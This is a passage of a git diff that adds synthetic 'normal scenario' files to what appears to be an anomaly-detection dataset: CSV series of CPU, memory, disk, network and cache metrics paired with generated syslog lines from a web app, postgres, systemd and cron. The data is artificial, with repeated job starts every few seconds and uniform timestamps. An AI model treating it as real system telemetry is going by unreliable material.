SELECT on users completed in 4.41ms +Jul 02 11:04:15 app-server[1490]: INFO Cache hit for user_profile:68 +Jul 02 11:04:15 systemd[1]: Starting daily clean up activities... +Jul 02 11:04:20 app-server[1107]: INFO Cache hit for user_profile:79 +Jul 02 11:04:25 app-server[1107]: INFO Cache hit for user_profile:77 +Jul 02 11:04:30 app-server[1107]: INFO Cache hit for user_profile:8 +Jul 02 11:04:30 postgres[3715]: LOG: statement: SELECT on products completed in 3.42ms +Jul 02 11:04:35 app-server[1490]: INFO Cache hit for user_profile:77 +Jul 02 11:04:40 app-server[1107]: INFO Cache hit for user_profile:54 +Jul 02 11:04:40 postgres[3129]: LOG: statement: UPDATE on products completed in 1.04ms +Jul 02 11:04:45 app-server[1801]: INFO Cache hit for user_profile:24 +Jul 02 11:04:45 postgres[3129]: LOG: statement: UPDATE on products completed in 2.44ms +Jul 02 11:04:50 postgres[3715]: LOG: statement: SELECT on orders completed in 2.34ms +Jul 02 11:04:55 app-server[1490]: INFO Cache hit for user_profile:62 +Jul 02 11:05:00 app-server[1107]: INFO Cache hit for user_profile:56 +Jul 02 11:05:00 postgres[3129]: LOG: statement: UPDATE on orders completed in 1.32ms +Jul 02 11:05:00 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:05 app-server[1801]: INFO Cache hit for user_profile:50 +Jul 02 11:05:05 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:10 app-server[1490]: INFO Cache hit for user_profile:81 +Jul 02 11:05:10 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:15 postgres[3129]: LOG: statement: SELECT on users completed in 0.81ms +Jul 02 11:05:20 app-server[1107]: INFO Cache hit for user_profile:21 +Jul 02 11:05:25 app-server[1801]: INFO Cache hit for user_profile:5 +Jul 02 11:05:25 postgres[3715]: LOG: statement: SELECT on products completed in 2.54ms +Jul 02 11:05:30 app-server[1801]: INFO Cache hit for user_profile:92 +Jul 02 11:05:30 postgres[3129]: LOG: statement: SELECT on orders completed in 2.01ms +Jul 02 11:05:35 app-server[1801]: INFO Cache hit for user_profile:72 +Jul 02 11:05:40 app-server[1490]: INFO Cache hit for user_profile:91 +Jul 02 11:05:40 postgres[3715]: LOG: statement: UPDATE on orders completed in 1.38ms +Jul 02 11:05:45 app-server[1107]: INFO Cache hit for user_profile:6 +Jul 02 11:05:45 systemd[1]: Starting daily clean up activities... +Jul 02 11:05:50 app-server[1107]: INFO Cache hit for user_profile:92 +Jul 02 11:05:55 app-server[1107]: INFO Cache hit for user_profile:16 +Jul 02 11:06:00 app-server[1801]: INFO Cache hit for user_profile:99 +Jul 02 11:06:05 app-server[1107]: INFO Cache hit for user_profile:13 +Jul 02 11:06:10 app-server[1801]: INFO Cache hit for user_profile:86 +Jul 02 11:06:15 app-server[1107]: INFO Cache hit for user_profile:94 +Jul 02 11:06:20 app-server[1490]: INFO Cache hit for user_profile:16 +Jul 02 11:06:25 app-server[1490]: INFO Cache hit for user_profile:44 +Jul 02 11:06:30 app-server[1490]: INFO Cache hit for user_profile:35 +Jul 02 11:06:40 app-server[1801]: INFO Cache hit for user_profile:43 +Jul 02 11:06:45 app-server[1490]: INFO Cache hit for user_profile:48 +Jul 02 11:06:50 app-server[1490]: INFO Cache hit for user_profile:8 +Jul 02 11:06:55 app-server[1801]: INFO Cache hit for user_profile:42 +Jul 02 11:07:00 app-server[1107]: INFO Cache hit for user_profile:89 +Jul 02 11:07:05 app-server[1107]: INFO Cache hit for user_profile:64 +Jul 02 11:07:15 app-server[1107]: INFO Cache hit for user_profile:23 +Jul 02 11:07:20 app-server[1801]: INFO Cache hit for user_profile:13 +Jul 02 11:07:20 postgres[3129]: LOG: statement: UPDATE on products completed in 4.56ms +Jul 02 11:07:25 app-server[1107]: INFO Cache hit for user_profile:36 diff --git a/norm_dataset/scenario_14/norm_14_20.csv b/norm_dataset/scenario_14/norm_14_20.csv new file mode 100644 index 0000000000000000000000000000000000000000..530659360a16a5dce14d148a80562550c9d97437 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_20.csv @@ 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0000000000000000000000000000000000000000..ae80c679d0875106594473b180bcdb01ed837289 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_20.log @@ -0,0 +1,20 @@ +Aug 23 10:00:25 systemd[1]: Starting daily clean up activities... +Aug 23 10:00:30 web-app[1357]: DEBUG GET /api/v1/user/436 - Cache Hit +Aug 23 10:00:35 web-app[1357]: DEBUG GET /api/v1/user/235 - Cache Hit +Aug 23 10:00:45 web-app[1357]: DEBUG GET /api/v1/user/78 - Cache Hit +Aug 23 10:01:25 web-app[1357]: DEBUG GET /api/v1/user/382 - Cache Hit +Aug 23 10:02:05 systemd[1]: Starting daily clean up activities... +Aug 23 10:02:20 web-app[1357]: DEBUG GET /api/v1/user/410 - Cache Hit +Aug 23 10:03:10 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:03:40 web-app[1357]: DEBUG GET /api/v1/user/121 - Cache Hit +Aug 23 10:03:45 web-app[1357]: DEBUG GET /api/v1/user/63 - Cache Hit +Aug 23 10:03:50 systemd[1]: Starting daily clean up activities... +Aug 23 10:04:25 web-app[1357]: DEBUG GET /api/v1/user/217 - Cache Hit +Aug 23 10:04:55 web-app[1357]: DEBUG GET /api/v1/user/270 - Cache Hit +Aug 23 10:05:35 web-app[1357]: DEBUG GET /api/v1/user/70 - Cache Hit +Aug 23 10:06:10 kubelet[2468]: INFO Liveness probe succeeded for pod web-app-pod +Aug 23 10:06:25 systemd[1]: Starting daily clean up activities... +Aug 23 10:06:40 web-app[1357]: DEBUG GET /api/v1/user/249 - Cache Hit +Aug 23 10:06:50 web-app[1357]: DEBUG GET /api/v1/user/76 - Cache Hit +Aug 23 10:07:15 web-app[1357]: DEBUG GET /api/v1/user/124 - Cache Hit +Aug 23 10:07:25 web-app[1357]: DEBUG GET /api/v1/user/138 - Cache Hit diff --git a/norm_dataset/scenario_14/norm_14_21.csv b/norm_dataset/scenario_14/norm_14_21.csv new file mode 100644 index 0000000000000000000000000000000000000000..684bce8028414c8639932a7f7966438306c0d1da --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_21.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-23T10:00:00Z,10.47,40.45,33.92,1.86,0.91,0 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0000000000000000000000000000000000000000..f1582f7cf5f433574cb47d18100cb74af647b712 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_21.log @@ -0,0 +1,20 @@ +Aug 23 10:00:17 app-server[1122]: INFO User 'alex' logged in successfully. +Aug 23 10:01:38 systemd[1]: Starting daily backup job... +Aug 23 10:02:30 web-app[4321]: INFO Cache miss for key: user:8379:item:195, fetching from primary DB. +Aug 23 10:02:31 web-app[4321]: INFO Cache miss for key: user:7274:item:459, fetching from primary DB. +Aug 23 10:02:32 web-app[4321]: INFO Cache miss for key: user:3078:item:583, fetching from primary DB. +Aug 23 10:02:43 web-app[4321]: INFO Cache miss for key: user:2732:item:247, fetching from primary DB. +Aug 23 10:02:54 web-app[4321]: INFO Cache miss for key: user:4837:item:561, fetching from primary DB. +Aug 23 10:03:21 web-app[4321]: INFO Cache miss for key: user:5983:item:514, fetching from primary DB. +Aug 23 10:03:31 web-app[4321]: INFO Cache miss for key: user:8517:item:902, fetching from primary DB. +Aug 23 10:03:33 web-app[4321]: INFO Cache miss for key: user:7411:item:668, fetching from primary DB. +Aug 23 10:03:57 postgres[5432]: LOG: connection received: host=192.168.6.152 port=54321 +Aug 23 10:04:00 web-app[4321]: INFO Cache miss for key: user:1242:item:672, fetching from primary DB. +Aug 23 10:04:19 web-app[4321]: INFO Cache miss for key: user:6145:item:664, fetching from primary DB. +Aug 23 10:04:27 web-app[4321]: INFO Cache miss for key: user:5575:item:135, fetching from primary DB. +Aug 23 10:04:31 web-app[4321]: INFO Cache miss for key: user:9432:item:296, fetching from primary DB. +Aug 23 10:04:33 postgres[5432]: LOG: connection received: host=192.168.2.173 port=54321 +Aug 23 10:04:37 web-app[4321]: INFO Cache miss for key: user:3382:item:549, fetching from primary DB. +Aug 23 10:04:48 web-app[4321]: INFO Cache miss for key: user:6600:item:260, fetching from primary DB. +Aug 23 10:05:36 app-server[1122]: INFO User 'charlie' updated profile. +Aug 23 10:07:05 systemd[1]: Daily backup job finished successfully. diff --git a/norm_dataset/scenario_14/norm_14_22.csv b/norm_dataset/scenario_14/norm_14_22.csv new file mode 100644 index 0000000000000000000000000000000000000000..f8d747deabe02703975fc752372787cb28788142 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_22.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu,db_disk_io,db_net_in,cache_misses,app_cpu_usage +2025-08-22T10:00:00Z,16.245848605174654,24.44138154224173,1.2183950619176471,2,19.24691112526999 +2025-08-22T10:00:05Z,17.54954406688013,30.223467390854996,1.3588139168006466,4,20.403761949318866 +2025-08-22T10:00:10Z,17.288480437496613,27.04280169472177,1.6017995144910833,3,20.28265400555956 +2025-08-22T10:00:15Z,14.92057820546594,29.007775332943602,1.2414130805066321,4,18.082337824729258 +2025-08-22T10:00:20Z,15.366044491644672,35.763051751359484,1.4945337346228669,0,18.35725701687961 +2025-08-22T10:00:25Z,14.386429797600153,26.39310670861793,1.2779339562632692,1,24.3215643948933 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+2025-08-22T10:07:20Z,14.399282648153351,24.826051703243625,1.813411356147845,3,21.34075030363964 +2025-08-22T10:07:25Z,14.468201936779028,34.6655722675721,1.3700687270078482,3,18.940392099509367 diff --git a/norm_dataset/scenario_14/norm_14_22.log b/norm_dataset/scenario_14/norm_14_22.log new file mode 100644 index 0000000000000000000000000000000000000000..342d78c9a636c9c32dc42f285e595d99d59a5758 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_22.log @@ -0,0 +1,22 @@ +Aug 22 10:01:00 systemd[1]: Starting daily clean up activities... +Aug 22 10:02:40 web-app[3456]: INFO Cache miss for key: user:profile:4179 +Aug 22 10:02:45 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 8447; +Aug 22 10:02:50 web-app[3456]: INFO Cache miss for key: user:profile:6318 +Aug 22 10:03:00 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 9845; +Aug 22 10:03:05 web-app[3456]: INFO Cache miss for key: user:profile:5620 +Aug 22 10:03:10 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 3934; +Aug 22 10:03:20 web-app[3456]: INFO Cache miss for key: user:profile:9177 +Aug 22 10:03:25 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 9118; +Aug 22 10:03:30 web-app[3456]: INFO Cache miss for key: user:profile:8150 +Aug 22 10:03:40 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 8594; +Aug 22 10:03:45 web-app[3456]: INFO Cache miss for key: user:profile:4140 +Aug 22 10:03:55 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 5980; +Aug 22 10:04:00 web-app[3456]: INFO Cache miss for key: user:profile:4015 +Aug 22 10:04:05 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 3159; +Aug 22 10:04:15 web-app[3456]: INFO Cache miss for key: user:profile:2589 +Aug 22 10:04:20 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 2743; +Aug 22 10:04:25 web-app[3456]: INFO Cache miss for key: user:profile:7716 +Aug 22 10:04:35 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 5679; +Aug 22 10:04:40 web-app[3456]: INFO Cache miss for key: user:profile:6729 +Aug 22 10:04:50 postgres[5678]: [2-1] LOG: statement: SELECT user_name, email FROM users WHERE user_id = 8794; +Aug 22 10:06:00 CRON[7890]: (root) CMD (run-parts --report /etc/cron.hourly) diff --git a/norm_dataset/scenario_14/norm_14_23.csv b/norm_dataset/scenario_14/norm_14_23.csv new file mode 100644 index 0000000000000000000000000000000000000000..b28552627def8cad0fd9836f83c121d631f278cc --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_23.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-07-02T12:00:00Z,16.554917300718007,51.53067222314773,28.443674609887754,0.9473769623829815,0.8089160640981765,2 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+2025-07-02T12:07:25Z,17.451817586457565,35.580623319833194,30.493587673115204,0.8268031523473126,0.8841041141383192,1 diff --git a/norm_dataset/scenario_14/norm_14_23.log b/norm_dataset/scenario_14/norm_14_23.log new file mode 100644 index 0000000000000000000000000000000000000000..7a1e6ec3c024f8918fec41b08bbe35dda87f4424 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_23.log @@ -0,0 +1,23 @@ +Jul 02 12:00:00 systemd[1]: Starting daily clean up activities... +Jul 02 12:00:27 web-app[1234]: DEBUG Cache hit for user_id: 53 +Jul 02 12:00:53 web-app[1234]: DEBUG Cache hit for user_id: 55 +Jul 02 12:00:54 web-app[1234]: DEBUG Cache hit for user_id: 9 +Jul 02 12:00:55 web-app[1234]: DEBUG Cache hit for user_id: 59 +Jul 02 12:01:04 web-app[1234]: DEBUG Cache hit for user_id: 94 +Jul 02 12:01:25 web-app[1234]: INFO Cache miss for user_id: 160 +Jul 02 12:01:33 web-app[1234]: DEBUG Cache hit for user_id: 54 +Jul 02 12:01:40 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:01:54 web-app[1234]: DEBUG Cache hit for user_id: 28 +Jul 02 12:02:01 web-app[1234]: DEBUG Cache hit for user_id: 69 +Jul 02 12:02:04 web-app[1234]: DEBUG Cache hit for user_id: 88 +Jul 02 12:02:26 web-app[1234]: DEBUG Cache hit for user_id: 78 +Jul 02 12:03:00 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:03:17 web-app[1234]: DEBUG Cache hit for user_id: 68 +Jul 02 12:03:50 web-app[1234]: DEBUG Cache hit for user_id: 88 +Jul 02 12:04:12 web-app[1234]: DEBUG Cache hit for user_id: 71 +Jul 02 12:04:29 web-app[1234]: DEBUG Cache hit for user_id: 44 +Jul 02 12:04:58 web-app[1234]: DEBUG Cache hit for user_id: 94 +Jul 02 12:05:09 web-app[1234]: DEBUG Cache hit for user_id: 38 +Jul 02 12:05:48 web-app[1234]: INFO Cache miss for user_id: 182 +Jul 02 12:06:15 web-app[1234]: DEBUG Cache hit for user_id: 71 +Jul 02 12:07:07 web-app[1234]: DEBUG Cache hit for user_id: 88 diff --git a/norm_dataset/scenario_14/norm_14_24.csv b/norm_dataset/scenario_14/norm_14_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..10cd386aaa3c22d7cd4c44da5e2fba94809b78aa --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-23T10:00:00Z,16.868772907761983,41.13022149995603,10.77468370432972,1.1664828925345039,1.1434419853333746 +2025-08-23T10:00:05Z,18.824316100320196,37.996786058132656,21.910246394446293,1.5134080434512998,1.0676070342791955 +2025-08-23T10:00:10Z,18.432720656244918,39.40302627743502,13.204657484985656,1.3225681016833062,1.0441432444677134 +2025-08-23T10:00:15Z,14.880867308198912,38.33176400020591,19.705290046103492,1.4404665199766162,0.9837537468205313 +2025-08-23T10:00:20Z,15.54906673746701,38.4161988545956,22.488387635345596,1.8457831050815687,0.821113158736027 +2025-08-23T10:00:25Z,14.079644696400228,37.117513494143054,24.446136456741378,1.2835864025170758,0.9114970085486567 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app-server[3456]: INFO GET /api/v1/products/123 status=200 from_cache=false reason='key expired' +Aug 23 10:02:40 db-master[5512]: INFO new connection from app-server-1 +Aug 23 10:02:45 db-master[5512]: INFO query='SELECT * FROM products WHERE id=123' +Aug 23 10:02:50 app-server[3456]: INFO GET /api/v1/products/456 status=200 from_cache=false reason='key expired' +Aug 23 10:02:55 db-master[5512]: INFO query='SELECT * FROM products WHERE id=456' +Aug 23 10:03:10 app-server[3456]: INFO GET /api/v1/products/789 status=200 from_cache=false reason='key expired' +Aug 23 10:03:15 db-master[5512]: INFO query='SELECT * FROM products WHERE id=789' +Aug 23 10:03:30 app-server[3456]: INFO GET /api/v1/products/101 status=200 from_cache=false reason='key expired' +Aug 23 10:03:45 app-server[3456]: INFO GET /api/v1/products/112 status=200 from_cache=false reason='key expired' +Aug 23 10:04:00 db-master[5512]: INFO query='SELECT * FROM products WHERE id=101' +Aug 23 10:04:15 db-master[5512]: INFO query='SELECT * FROM products WHERE id=112' +Aug 23 10:04:30 app-server[3456]: INFO GET /api/v1/products/223 status=200 from_cache=false reason='key expired' +Aug 23 10:04:45 db-master[5512]: INFO query='SELECT * FROM products WHERE id=223' +Aug 23 10:05:25 systemd[1]: INFO Daily cron job finished. +Aug 23 10:05:50 app-server[3456]: INFO GET /api/v1/products/123 status=200 from_cache=true +Aug 23 10:06:40 app-server[3456]: INFO GET /api/v1/products/456 status=200 from_cache=true +Aug 23 10:07:20 db-master[5512]: INFO connection from app-server-1 closed diff --git a/norm_dataset/scenario_14/norm_14_25.csv b/norm_dataset/scenario_14/norm_14_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..7566b6f4097540b109ee54753ef49808076eb267 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses 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+2025-08-22T10:07:20Z,14.098923972230027,42.93042068129745,37.83528390369612,1.5737666724782433,0.8616818456578599,2 +2025-08-22T10:07:25Z,14.202302905168542,46.86622890702884,26.751718175196203,1.6998502923723025,1.1262207578615695,0 diff --git a/norm_dataset/scenario_14/norm_14_25.log b/norm_dataset/scenario_14/norm_14_25.log new file mode 100644 index 0000000000000000000000000000000000000000..d079baff93a4778c031319e95bc8cb953613e994 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_25.log @@ -0,0 +1,20 @@ +Aug 22 10:00:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:15 web-app[1235]: GET /api/v1/products status=200 OK +Aug 22 10:00:25 web-app[1235]: DEBUG Cache hit for key: user:profile:9693 +Aug 22 10:00:40 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:00:45 web-app[1234]: DEBUG Cache hit for key: user:profile:9693 +Aug 22 10:01:35 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:02:25 web-app[1235]: DEBUG Cache hit for key: user:profile:9693 +Aug 22 10:02:40 postgres[5678]: LOG: statement: SELECT * FROM users WHERE id = 9693; +Aug 22 10:03:15 web-app[1234]: INFO Cache miss for key: user:profile:5628. +Aug 22 10:03:25 web-app[1235]: INFO Cache miss for key: user:profile:5628. +Aug 22 10:03:30 postgres[5678]: LOG: statement: SELECT * FROM users WHERE id = 9693; +Aug 22 10:03:45 web-app[1235]: INFO Cache miss for key: user:profile:9994, fetching from source. +Aug 22 10:03:50 web-app[1235]: INFO Cache miss for key: user:profile:5628. +Aug 22 10:04:00 web-app[1234]: INFO Cache miss for key: user:profile:9994, fetching from source. +Aug 22 10:05:10 web-app[1234]: DEBUG Cache hit for key: user:profile:9693 +Aug 22 10:05:55 web-app[1234]: GET /api/v1/products status=200 OK +Aug 22 10:06:20 web-app[1235]: DEBUG Cache hit for key: user:profile:9693 +Aug 22 10:06:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 10:06:55 web-app[1235]: DEBUG Cache hit for key: user:profile:9693 +Aug 22 10:07:25 web-app[1234]: DEBUG Cache hit for key: user:profile:9693 diff --git a/norm_dataset/scenario_14/norm_14_26.csv b/norm_dataset/scenario_14/norm_14_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..a2c59952c7e50fb08361391848e1ebf44057fa03 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-17T14:00:00Z,16.245848605174654,41.664828925345034,22.959876547941178,1.0729415182474262,1.3099750233354512,12.0 +2025-08-17T14:00:05Z,17.54954406688013,45.134080434512995,26.470347920016163,1.4281335800034893,1.2049000704044968,5.0 +2025-08-17T14:00:10Z,17.288480437496613,43.225681016833065,32.54498786227708,1.1067705511447945,0.8665036585306014,19.0 +2025-08-17T14:00:15Z,14.92057820546594,44.404665199766164,23.535327012665803,1.8846478818884382,1.4776851125286654,11.0 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status=200 OK +Aug 17 14:01:10 systemd[1]: Starting daily clean up activities... +Aug 17 14:02:25 systemd[1]: Starting daily clean up activities... +Aug 17 14:02:35 web-app[2831]: INFO cache miss for key: user:profile:1513 +Aug 17 14:02:45 web-app[2831]: INFO cache miss for key: user:profile:1384 +Aug 17 14:03:25 web-app[2831]: INFO cache miss for key: user:profile:1341 +Aug 17 14:03:30 web-app[2831]: INFO cache miss for key: user:profile:1044 +Aug 17 14:03:35 web-app[2831]: INFO cache miss for key: user:profile:1178 +Aug 17 14:04:15 web-app[2831]: INFO cache miss for key: user:profile:1511 +Aug 17 14:05:00 web-app[2831]: INFO cache miss for key: user:profile:1168 +Aug 17 14:05:05 web-app[2831]: GET /api/v1/user/25 status=200 OK +Aug 17 14:05:20 systemd[1]: Starting daily clean up activities... +Aug 17 14:05:25 systemd[1]: Starting daily clean up activities... +Aug 17 14:05:30 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_14/norm_14_27.csv b/norm_dataset/scenario_14/norm_14_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..ace05060b0286fe80f0116af344aa66141b979d4 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_27.csv @@ -0,0 +1,91 @@ +timestamp,db_cpu,db_disk_io,db_net_in,cache_hits,cache_misses +2025-08-23T10:00:00Z,13.86,26.9,0.52,711,7 +2025-08-23T10:00:05Z,13.16,26.39,1.32,708,5 +2025-08-23T10:00:10Z,12.44,24.23,0.64,518,5 +2025-08-23T10:00:15Z,14.3,30.56,1.14,558,13 +2025-08-23T10:00:20Z,10.42,23.68,1.43,773,10 +2025-08-23T10:00:25Z,13.74,34.43,0.59,522,5 +2025-08-23T10:00:30Z,11.08,28.29,1.11,641,13 +2025-08-23T10:00:35Z,11.03,35.46,0.68,797,9 +2025-08-23T10:00:40Z,13.56,33.49,0.5,721,12 +2025-08-23T10:00:45Z,14.82,32.55,1.47,557,11 +2025-08-23T10:00:50Z,12.35,27.56,1.47,674,6 +2025-08-23T10:00:55Z,14.91,21.92,1.49,587,9 +2025-08-23T10:01:00Z,14.74,30.66,0.55,550,9 +2025-08-23T10:01:05Z,10.72,31.48,0.83,567,6 +2025-08-23T10:01:10Z,12.04,28.87,0.92,526,12 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+2025-08-23T10:04:55Z,12.98,24.93,1.11,501,11 +2025-08-23T10:05:00Z,14.55,25.15,1.48,502,8 +2025-08-23T10:05:05Z,10.47,21.16,0.66,662,12 +2025-08-23T10:05:10Z,10.75,21.6,0.63,570,11 +2025-08-23T10:05:15Z,14.09,26.96,0.99,775,9 +2025-08-23T10:05:20Z,14.7,24.17,0.5,697,13 +2025-08-23T10:05:25Z,14.85,22.79,0.8,533,13 +2025-08-23T10:05:30Z,12.88,25.79,0.96,599,5 +2025-08-23T10:05:35Z,13.42,23.39,0.9,782,10 +2025-08-23T10:05:40Z,11.54,37.66,0.96,736,8 +2025-08-23T10:05:45Z,11.37,33.71,0.69,696,8 +2025-08-23T10:05:50Z,10.7,33.64,1.02,606,5 +2025-08-23T10:05:55Z,12.57,37.73,1.1,625,5 +2025-08-23T10:06:00Z,14.32,26.59,1.08,717,14 +2025-08-23T10:06:05Z,14.34,39.26,0.99,700,6 +2025-08-23T10:06:10Z,14.51,34.53,1.26,623,9 +2025-08-23T10:06:15Z,11.73,20.29,1.21,541,10 +2025-08-23T10:06:20Z,14.01,26.54,0.86,745,13 +2025-08-23T10:06:25Z,13.47,23.01,1.18,678,10 +2025-08-23T10:06:30Z,12.64,28.86,1.49,782,13 +2025-08-23T10:06:35Z,12.19,30.16,0.62,637,12 +2025-08-23T10:06:40Z,14.32,21.95,1.05,645,6 +2025-08-23T10:06:45Z,10.58,22.94,0.79,639,14 +2025-08-23T10:06:50Z,12.71,23.97,1.48,657,7 +2025-08-23T10:06:55Z,11.49,35.52,0.76,738,7 +2025-08-23T10:07:00Z,12.43,27.92,0.6,670,14 +2025-08-23T10:07:05Z,10.93,27.48,1.21,786,9 +2025-08-23T10:07:10Z,14.4,29.32,1.36,767,5 +2025-08-23T10:07:15Z,14.78,22.03,0.63,783,6 +2025-08-23T10:07:20Z,14.18,28.89,1.37,618,14 +2025-08-23T10:07:25Z,13.44,39.63,0.83,558,7 diff --git a/norm_dataset/scenario_14/norm_14_27.log b/norm_dataset/scenario_14/norm_14_27.log new file mode 100644 index 0000000000000000000000000000000000000000..bad1a31895ae2268bd4193cfb25c1fc8b1619b95 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_27.log @@ -0,0 +1,20 @@ +Aug 23 10:00:05 web-app[1234]: DEBUG Cache miss for key: user:88 +Aug 23 10:00:45 web-app[1234]: DEBUG Cache miss for key: user:23 +Aug 23 10:01:05 systemd[1]: Starting daily clean up activities... +Aug 23 10:01:20 web-app[1234]: DEBUG Cache miss for key: user:101 +Aug 23 10:01:25 web-app[1234]: GET /api/v1/products/5005 status=200 OK (cached) +Aug 23 10:02:05 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:02:15 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:02:25 systemd[1]: Starting daily clean up activities... +Aug 23 10:02:55 web-app[1234]: GET /api/v1/products/1001 status=200 OK (cached) +Aug 23 10:03:00 web-app[1234]: GET /api/v1/user/101 status=200 OK (cached) +Aug 23 10:03:05 web-app[1234]: GET /api/v1/user/12 status=200 OK (cached) +Aug 23 10:03:25 web-app[1234]: GET /api/v1/products/5005 status=200 OK (cached) +Aug 23 10:04:25 web-app[1234]: GET /api/v1/user/88 status=200 OK (cached) +Aug 23 10:04:40 web-app[1234]: GET /api/v1/user/88 status=200 OK (cached) +Aug 23 10:04:55 web-app[1234]: GET /api/v1/user/45 status=200 OK (cached) +Aug 23 10:05:35 web-app[1234]: GET /api/v1/user/23 status=200 OK (cached) +Aug 23 10:05:50 CRON[5432]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 23 10:06:20 web-app[1234]: GET /api/v1/user/12 status=200 OK (cached) +Aug 23 10:06:40 web-app[1234]: GET /api/v1/products/2050 status=200 OK (cached) +Aug 23 10:07:10 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_14/norm_14_28.csv b/norm_dataset/scenario_14/norm_14_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..775faac0c622d3fd7f33e9d979a903d168e716d0 --- /dev/null +++ b/norm_dataset/scenario_14/norm_14_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out,cache_misses +2025-08-22T10:00:00Z,17.72,38.45,20.33,1.44,0.99,2 +2025-08-22T10:00:05Z,16.33,38.19,36.34,0.91,0.92,2 +2025-08-22T10:00:10Z,14.88,37.11,22.87,0.81,0.86,1 +2025-08-22T10:00:15Z,18.6,40.28,32.8,0.99,0.79,3 +2025-08-22T10:00:20Z,10.84,36.84,38.65,1.31,0.75,4 +2025-08-22T10:00:25Z,17.48,42.22,21.72,0.85,1.01,0 +2025-08-22T10:00:30Z,12.16,39.14,32.24,0.84,1.01,4 +2025-08-22T10:00:35Z,12.07,42.73,23.56,1.43,1.24,1 +2025-08-22T10:00:40Z,17.12,41.74,20.02,1.41,1.07,1 +2025-08-22T10:00:45Z,19.64,41.28,39.43,0.97,0.89,1 +2025-08-22T10:00:50Z,14.71,38.78,39.42,1.2,0.82,3 +2025-08-22T10:00:55Z,19.82,35.96,39.82,1.25,0.81,1 +2025-08-22T10:01:00Z,19.48,40.33,21.03,1.2,0.82,2 +2025-08-22T10:01:05Z,11.44,40.74,26.65,0.84,1.0,1 +2025-08-22T10:01:10Z,14.09,39.44,28.43,1.49,0.74,3 +2025-08-22T10:01:15Z,16.83,41.15,32.4,1.09,1.16,0 +2025-08-22T10:01:20Z,14.29,43.41,27.41,1.2,0.83,1 +2025-08-22T10:01:25Z,16.95,41.17,27.65,1.09,1.09,3 +2025-08-22T10:01:30Z,10.75,39.56,37.52,1.36,0.95,2 +2025-08-22T10:01:35Z,18.72,41.8,36.64,1.13,1.15,0 +2025-08-22T10:01:40Z,11.01,41.49,22.95,1.33,0.79,3 +2025-08-22T10:01:45Z,16.46,40.85,30.74,1.36,1.07,1 +2025-08-22T10:01:50Z,13.13,36.82,32.89,0.93,0.86,2 +2025-08-22T10:01:55Z,10.49,36.4,27.13,0.84,1.06,1 +2025-08-22T10:02:00Z,15.7,40.15,24.94,0.88,0.93,0 +2025-08-22T10:02:05Z,17.14,36.33,36.3,1.18,0.92,1 +2025-08-22T10:02:10Z,17.41,35.36,28.96,1.3,1.05,0 +2025-08-22T10:02:15Z,19.31,42.4,37.14,1.05,0.78,4 +2025-08-22T10:02:20Z,19.6,36.25,27.55,1.4,0.77,1 +2025-08-22T10:02:25Z,14.88,35.97,29.15,1.3,0.87,3 +2025-08-22T10:02:30Z,11.38,44.75,37.3,1.2,0.89,3 +2025-08-22T10:02:35Z,10.7,38.2,32.64,1.24,0.82,0 +2025-08-22T10:02:40Z,13.91,38.56,24.59,1.4,0.91,3 +2025-08-22T10:02:45Z,10.52,35.7,32.0,1.1,0.96,3 